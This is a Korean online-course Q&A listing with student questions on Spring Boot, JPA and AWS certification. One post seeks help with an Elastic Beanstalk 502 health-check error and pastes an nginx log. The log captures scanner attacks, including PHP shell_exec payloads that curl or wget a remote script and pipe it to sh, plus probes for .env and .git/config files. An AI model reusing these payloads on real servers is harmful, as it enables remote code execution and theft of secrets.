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173만명의 커뮤니티!! 함께 토론해봐요.

expected 옵션이 없어서 질문드립니다.

미해결

실전! 스프링 부트와 JPA 활용1 - 웹 애플리케이션 개발

Junit5로 테스트를 생성해서 그런지 Test애노테이션에 expected 라는 옵션이 없어서 @Test() public void 상품주문_재고수량초과() throws Exception { //given Member member = createMember(); Item book = createBook(10000, 10, "시골 JPA"); int orderCount = 11; //when Assertions.assertThatThrownBy(() ->orderService.order(member.getId(), book.getId(), orderCount)) .isInstanceOf(NotEnoughStockException.class); } 이렇게 만들어서 돌렸는데 테스트가 통과했다면 그냥 넘어가도 되는 것일까요? @Test() public void 상품주문_재고수량초과() throws Exception { //given Member member = createMember(); Item book = createBook(10000, 10, "시골 JPA"); int orderCount = 11; //when Assertions.assertThatThrownBy(() ->orderService.order(member.getId(), book.getId(), orderCount)) .isInstanceOf(NotEnoughStockException.class); fail("재고 수량 부족 예외가 발생해야 한다."); } 이렇게 돌리면 재고 수량 부족 예외가 발생해야 한다. java.lang.AssertionError: 재고 수량 부족 예외가 발생해야 한다. 라는 예외가 발생했습니다.

  • java
  • spring
  • 웹앱
  • spring-boot
  • jpa
댓글 1 좋아요 0 조회수 1088

getTotalPrice에서 사용하는 필드? 질문입니다

미해결

실전! 스프링 부트와 JPA 활용1 - 웹 애플리케이션 개발

public int getTotalPrice() { return orderPrice * count; } public int getTotalPrice() { return getOrderPrice() * getCount(); } 주문 아이템의 가격을 반환해야할 때 당연히 위처럼 코드를 작성해야겠다고 생각했는데, 강의를 보니 아래처럼 하시더라구요 결국 같은 값을 반환하는 것 같은데 어떤 차이가 있는지 알 수 있을까요 ?

  • java
  • spring
  • 웹앱
  • spring-boot
  • jpa
댓글 1 좋아요 0 조회수 641

cannot resolve symbol 오류

미해결

자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]

cannot resolve symbol 라는 오류가 여러개 뜨는데 어떻하면 좋을까요ㅠㅠ 한참 구글링 해도 못찾겠어요ㅠㅠ

  • java
  • spring
  • aws
  • mysql
  • spring-boot
  • jpa
anyas1398 댓글 1 좋아요 2 조회수 2326

블로그에 작성하기

미해결

자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]

안녕하세요. 친절하신 답변 감사히 확인했습니다^^ 다름이 아니라 혹시 블로그에 간단하게 선생님께서 하시는 수업 내용을 제가 따라하는 것을 캡쳐나 정리하여 올려도 괜찮을까요? :)

  • java
  • spring
  • aws
  • mysql
  • spring-boot
  • jpa
cloverj0 댓글 1 좋아요 1 조회수 297

제공한 기출만 보고 시험봐도 괜찮을까요?

미해결

AWS Certified Solutions Architect - Associate 자격증 준비하기

선생님이 제공해주신, 기출만 보고 덤프에서 나오는 c03 문제는 안 보고 시험 보러 가도 될까요?

  • 네트워크
  • aws
황 대영이 댓글 1 좋아요 0 조회수 677

16:25초 부터의 설명이 이해가 가지 않습니다.

미해결

자바 ORM 표준 JPA 프로그래밍 - 기본편

학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요. 1. 강의 내용과 관련된 질문을 남겨주세요. 2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요. (자주 하는 질문 링크: https://bit.ly/3fX6ygx) 3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요. (질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG) 질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요. ========================================= [질문 템플릿] 1. 강의 내용과 관련된 질문인가요? (예/아니오) 2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오) 3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오) [질문 내용] 여기에 질문 내용을 남겨주세요. @Column에서 unique나 length제약조건을 거는것은 런타임에 영향을 주지 않는다 하시고 @Table에서 name을 사용해서 테이블 명을 바꾸는것은 런타임에 영향을 주신다고 하셧는데 둘의 차이를 이해하지 못하고 있습니다. @Table의 name을 변경하는것이 인서트 쿼리나 업데이트 쿼리에 영향을 준다고 하셧는데 이 말 자체를 이해하지 못하고 있는 것 같습니다..

  • java
  • jpa
J LEE 댓글 2 좋아요 2 조회수 782

gradlew build 오류

해결됨

스프링 입문 - 코드로 배우는 스프링 부트, 웹 MVC, DB 접근 기술

학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요. 1. 강의 내용과 관련된 질문을 남겨주세요. 2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요. (자주 하는 질문 링크: https://bit.ly/3fX6ygx) 3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요. (질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG) 질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요. ========================================= [질문 템플릿] 1. 강의 내용과 관련된 질문인가요? (예/아니오) 2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오) 3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오) [질문 내용] 윈도우 cmb창에서 명령 프롬프트에서 gradlew.bat 를 실행하려면 gradlew 하고 엔터를 치면 됩니다. --> 여기까지는 실행이 됬으나 gradlew build에서 BUILD FAILED 됩니다... 도저히 모르겠습니다.

  • java
  • spring
  • mvc
  • spring-boot
댓글 2 좋아요 0 조회수 1339

[문의][SAP-C02 취득]추가 필요 학습 내용

미해결

AWS Certified Solutions Architect - Associate 자격증 준비하기

강사님 덕분에 오늘 SAA 취득했습니다.. 감사합니다..^.^ 바로 SAP 취득 준비할려고 하는데, 강사님 강의 내용 대비 추가로 각 서비스별 어떤 내용을 더 심화 학습해야 하는지 혹시 가이드해 주실 수 있는지 문의 드립니다.. 그리고, SAA & ANS 외에 추가 강의 검토 중에 하셨는데, 혹시 구체화 된 사항 있으면 같이 답변 부탁 드립니다..

  • 네트워크
  • aws
73namu 댓글 1 좋아요 0 조회수 1183

Health Check 시간

미해결

지금 당장 데브옵스 AWS

안녕하세요. 잘 강의 보고 있습니다. 다름이 아니라, 서비스를 빌드하고 배포하는 과정에서, 시간이 조금 오래 걸리는데, 배포하기 전에 Health check가 실행이되어, Running중에 계속 Stopped가 됩니다. 이 문제를 어떻게 해결해야할까요..?

  • aws
taeminida 댓글 1 좋아요 1 조회수 430

인텔리제이와 mysql 대신 사용 가능한가요?

미해결

자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]

안녕하세요! 이번에 큰맘 먹고 수강 신청한 초보 개발자 입니다. 인텔리제이 대신 이클립스를 사용해도 괜찮을까요? 꼭 mysql로 사용해야 하는 건지, 그렇다면 강의에서 설명해 주시는 내용과 차이가 많이 생기는 건가요? 위의 궁금한 사항에 답 부탁드립니다 :)

  • java
  • spring
  • aws
  • mysql
  • spring-boot
  • jpa
cloverj0 댓글 1 좋아요 1 조회수 520

배포에 대한 질문이 있습니다. 급합니다 ㅠㅠ

미해결

현재 프론트하고 백엔드하고 배포를 따로 하려고 하는데 이 배포를 언제까지 유지해야 하는지가 궁금합니다. 포폴에 배포 링크를 담아주고 취업할 때 까지 유지해야 하는지 아니면 배포하고 시연 이미지 첨부한 설명을 포폴에 담고 배포를 종료해도 되는지 어떻게 해야하는지 궁금합니다. 알려주시면 감사하겠습니다 ㅠㅠ (__) 꾸벅

  • 배포
  • aws
  • ec2
  • s3
  • springboot
  • 스프링부트
유요한 댓글 1 좋아요 0 조회수 341

실전문제풀이 02_7번 문제 정답 재확인

미해결

AWS Certified Solutions Architect - Associate 자격증 준비하기

안녕하세요. 실전문제풀이 02_7번문제가 다음 ExamTopics 문제와 동일합니다.. -. https://www.examtopics.com/discussions/amazon/view/94990-exam-aws-certified-solutions-architect-associate-saa-c03/ 그런데, ExamTopics에서 다음과 같이 D과 최다투표로 정답 표시되어 있습니다.. 강사님, 정답 재확인 부탁 드립니다. 미리 감사드립니다... D. 프런트엔드 계층과 애플리케이션 계층에 로드 밸런싱된 다중 AZ AWS Elastic Beanstalk 환경을 사용합니다. 데이터베이스를 Amazon RDS 다중 AZ DB 인스턴스로 이동합니다. Amazon S3를 사용하여 사용자 이미지를 저장하고 제공합니다. 최다 투표

  • 네트워크
  • aws
73namu 댓글 1 좋아요 0 조회수 534

User class의 id 값 질문입니다

해결됨

자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]

안녕하세요 강사님. 강의를 듣다 질문이 생겨 글 남깁니다. 평소에 습관적으로 spring boot로 개발을 할 때에, User class에 @Id private Long id; 위와 같은 코드를 붙이곤 하는데요, 강사님 강의에선 response dto에만 id값이 들어가 있어서 질문 드립니다! 도메인 클래스에는 없어도 상관 없는 것일까요? 항상 좋은 강의 감사드립니다!

  • java
  • spring
  • aws
  • mysql
  • spring-boot
  • jpa
jd 댓글 1 좋아요 1 조회수 297

elasticbeanstalk healthcheck 오류 질문 (Target.FailedHealthChecks)

미해결

안녕하세요. 스프링 환경에서 elasticbeanstalk과 github actions를 활용해 CI / CD를 연습하고 있는 학생입니다. 프로젝트를 만든 다음 CI / CD를 하는 과정에서 에러가 생겨 간단한 프로젝트 파일을 다시 만든 뒤 (루트 페이지에 텍스트 뜨는) CI / CD 작업을 하고 있는데, 아래처럼 502 헬스 체크 에러가 뜨고 있는 문제가 발생하고 있습니다. 혹시 해당 오류를 해결하신 분이 있다면 도움 부탁드립니다..! 작성한 nginx.conf 파일은 아래와 같습니다. 일단 5000번 포트를 쓰는 것 같아 upstream, proxy_pass를 5000으로 작성하였습니다. (그런데 각각 server 127.0.0.1:8080;, proxy_pass proxy_pass http://springboot;로 작성해도 결과는 같았습니다.) user nginx; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; worker_processes auto; worker_rlimit_nofile 33282; events { use epoll; worker_connections 1024; multi_accept on; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; include conf.d/*.conf; map $http_upgrade $connection_upgrade { default "upgrade"; } upstream springboot { server 127.0.0.1:5000; keepalive 1024; } server { listen 80 default_server; listen [::]:80 default_server; location / { proxy_pass http://127.0.0.1:5000; proxy_http_version 1.1; proxy_set_header Connection $connection_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } access_log /var/log/nginx/access.log main; client_max_body_size 10m; client_header_timeout 60; client_body_timeout 60; keepalive_timeout 60; server_tokens off; gzip on; gzip_comp_level 4; # Include the Elastic Beanstalk generated locations include conf.d/elasticbeanstalk/healthd.conf; } } SERVER_PORT를 다음과 같이 5000 포트로 적용했고 elasticbeanstalk의 로드 밸런서도 아래와 같이 설정했습니다. 타겟 그룹도 다음과 같이 설정하였습니다. nginx의 로그를 확인해보면 다음과 같았습니다. 2023/04/11 18:43:24 [error] 24478#24478: *116 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:43:24 [error] 24478#24478: *118 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:44:23 [error] 24478#24478: *120 connect() failed (111: Connection refused) while connecting to upstream, client: 223.152.72.163, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "year" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "month" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "day" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "hour" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:47:23 [error] 24478#24478: *122 connect() failed (111: Connection refused) while connecting to upstream, client: 198.235.24.23, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 19:08:41 [error] 24478#24478: *124 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 19:59:39 [error] 24478#24478: *127 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 20:25:27 [error] 24478#24478: *129 connect() failed (111: Connection refused) while connecting to upstream, client: 3.140.248.91, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:8080/.git/config", host: "3.35.18.161" 2023/04/11 20:26:02 [error] 24478#24478: *131 connect() failed (111: Connection refused) while connecting to upstream, client: 34.77.127.183, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 20:42:18 [error] 24478#24478: *134 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "year" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "month" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "day" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "hour" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:16:22 [error] 24478#24478: *137 connect() failed (111: Connection refused) while connecting to upstream, client: 212.224.86.136, server: , request: "GET /sendgrid.env HTTP/1.1", upstream: "http://127.0.0.1:8080/sendgrid.env", host: "3.35.18.161" 2023/04/11 21:17:41 [error] 24478#24478: *139 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "year" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "month" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "day" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "hour" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 22:13:41 [error] 24478#24478: *143 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 22:13:42 [error] 24478#24478: *145 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/11 22:20:01 [error] 24478#24478: *147 connect() failed (111: Connection refused) while connecting to upstream, client: 194.55.224.203, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 22:35:51 [error] 24478#24478: *149 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��Ё³ðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��Ё³ðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��Ё³ðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��Ё³ðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 23:40:01 [error] 24478#24478: *154 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 23:40:01 [error] 24478#24478: *156 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "year" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "month" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "day" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "hour" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:54:08 [error] 24478#24478: *159 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 00:00:18 [error] 24478#24478: *161 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "year" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "month" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "day" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "hour" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:13:46 [error] 24478#24478: *164 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:13:47 [error] 24478#24478: *166 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:41:01 [error] 24478#24478: *169 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 00:46:12 [error] 24478#24478: *171 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:46:14 [error] 24478#24478: *173 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:12:57 [error] 24478#24478: *175 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 01:14:04 [error] 24478#24478: *177 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:07 [error] 24478#24478: *179 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:08 [error] 24478#24478: *181 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 02:21:44 [error] 24478#24478: *184 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.121, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:22:37 [error] 24478#24478: *186 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.109, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "3.35.18.161" 2023/04/12 02:23:17 [error] 24478#24478: *188 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.111, server: , request: "GET /geoserver/web/ HTTP/1.1", upstream: "http://127.0.0.1:8080/geoserver/web/", host: "3.35.18.161" 2023/04/12 02:32:40 [error] 24478#24478: *190 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 02:35:26 [error] 24478#24478: *192 connect() failed (111: Connection refused) while connecting to upstream, client: 120.85.116.175, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "year" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "month" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "day" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "hour" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "year" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "month" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "day" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "hour" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:55:29 [error] 24478#24478: *195 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:55:29 [error] 24478#24478: *197 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 03:52:37 [error] 24478#24478: *200 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 03:56:49 [error] 24478#24478: *202 connect() failed (111: Connection refused) while connecting to upstream, client: 45.128.232.149, server: , request: "POST /boaform/admin/formLogin HTTP/1.1", upstream: "http://127.0.0.1:8080/boaform/admin/formLogin", host: "3.35.18.161:80", referrer: "http://3.35.18.161:80/admin/login.asp" 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "year" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "month" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "day" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "hour" variable while logging request, client: 45.128.232.149, server: 2023/04/12 04:31:04 [error] 9297#9297: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 159.65.111.248, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/", host: "localhost:8080" 2023/04/12 04:35:15 [error] 9297#9297: *4 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:15 [error] 9297#9297: *6 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *8 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *10 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *12 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *14 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *16 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *18 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *20 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, 